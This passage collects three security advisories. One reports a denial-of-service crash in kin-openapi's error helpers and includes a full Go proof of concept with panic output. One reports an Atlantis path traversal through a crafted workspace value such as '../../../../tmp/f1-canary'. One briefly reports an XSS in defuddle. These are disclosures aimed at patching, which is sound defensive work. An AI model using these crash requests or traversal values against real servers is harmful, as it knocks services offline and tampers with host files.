(e.g. `"path age: value notanumber: an invalid integer: invalid syntax"`). Prefer a non-empty fallback: ```go title := innerErr.Reason if title == "" { title = innerErr.Error() } return &ValidationError{Status: http.StatusBadRequest, Title: title} ``` ### PoC Verified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0. **1. Spec** — one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property: ```yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok} ``` **2. Program** — validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does: ```go package main import ( "bytes" "context" "fmt" "mime/multipart" "net/http" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, _ := loader.LoadFromData([]byte(spec)) _ = doc.Validate(loader.Context) router, _ := gorillamux.NewRouter(doc) // multipart body: a non-numeric value for the integer property "age" var buf bytes.Buffer w := multipart.NewWriter(&buf) _ = w.WriteField("age", "notanumber") w.Close() r, _ := http.NewRequest(http.MethodPost, "/upload", &buf) r.Header.Set("Content-Type", w.FormDataContentType()) route, pp, _ := router.FindRoute(r) reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Printf("ValidateRequest returned: %T\n", reqErr) // *openapi3filter.RequestError // What an application's error-rendering middleware calls: _ = openapi3filter.ConvertErrors(reqErr) // panics fmt.Println("no panic (unexpected)") } ``` **3. Observed output** (`go run .`): ``` ValidateRequest returned: *openapi3filter.RequestError panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...] goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3filter.convertParseError(...) .../openapi3filter/validation_error_encoder.go:120 +0x17c github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...) .../openapi3filter/validation_error_encoder.go:42 +0xec main.main() ... exit status 2 ``` The panic is at exactly `validation_error_encoder.go:120` — the unguarded `e.Parameter.In` dereference. **Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{"age": `) or a wrong-type body (`{"age": "notanumber"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes. In a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable. ### Impact - **Type:** Nil-pointer dereference → **unauthenticated remote denial of service**. - **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library's own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration. - **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will. - **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected. - **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering).

### Summary Atlantis versions `>= 0.19.8` and `< 0.45.0` did not consistently validate user-controlled `workspace` values before using them to construct local workspace paths. A crafted workspace value containing path traversal segments could cause Atlantis to resolve workspace paths outside the intended per-pull workspace directory. In vulnerable versions or code paths, Atlantis could create, use, or remove/recreate out-of-bounds directories with the privileges of the Atlantis process user, before Terraform rejected the invalid workspace name. The issue is fixed in Atlantis `0.45.0`. ### Details The issue is a path traversal vulnerability in Atlantis workspace handling. `workspace` values can be supplied through repository-level `atlantis.yaml` configuration accepted by the server or through authenticated API input. A value such as `../../../../../../../../tmp/f1-canary` could escape the intended Atlantis workspace root. In affected code paths, Atlantis used the resolved workspace path for local working-directory operations. For example, workspace values were joined into repo pull paths, and clone preparation paths could call directory removal/recreation operations such as `os.RemoveAll` and `os.MkdirAll` on the resolved directory. ### PoC In a local PoC using repo-level `atlantis.yaml`, the following workspace value caused Atlantis to resolve and use `/tmp/f1-canary` outside `~/.atlantis/repos/...`: ```yaml version: 3 projects: - dir: . workspace: ../../../../../../../../tmp/f1-canary ``` Atlantis logs showed the out-of-bounds directory being created and Terraform being run with `/tmp/f1-canary` as the working directory. Terraform rejected the workspace name only after Atlantis had already used the out-of-bounds path. ### Impact A user who can cause Atlantis to process a crafted `workspace` value, for example through repository-level `atlantis.yaml` configuration accepted by the server or an authenticated `/api/plan` request, may cause filesystem operations to occur outside the intended workspace boundary. Depending on the affected version, code path, deployment configuration, and filesystem permissions, this may result in unintended directory creation, deletion, or reuse, integrity impact to writable local paths, or denial of service. Containerized deployments may limit host impact, but writable mounted volumes and persistent Atlantis data paths remain relevant.

## Summary An Improper Neutralization of Input During Web Page Generation issue in the site extractor component allows an attacker-controlled attribute value to be injected into output HTML without escaping. An attacker who crafts a malicious HTML page or controls content on a matching domain can execute arbitrary scripts when a victim processes the page, resulting in Cross-Site Scripting (XSS). This affects defuddle through 0.19.0 and has been patched in version 0.19.1. ## Impact This vulnerability allows for Cross-Site Scripting (XSS) execution without needing to compromise external websites.
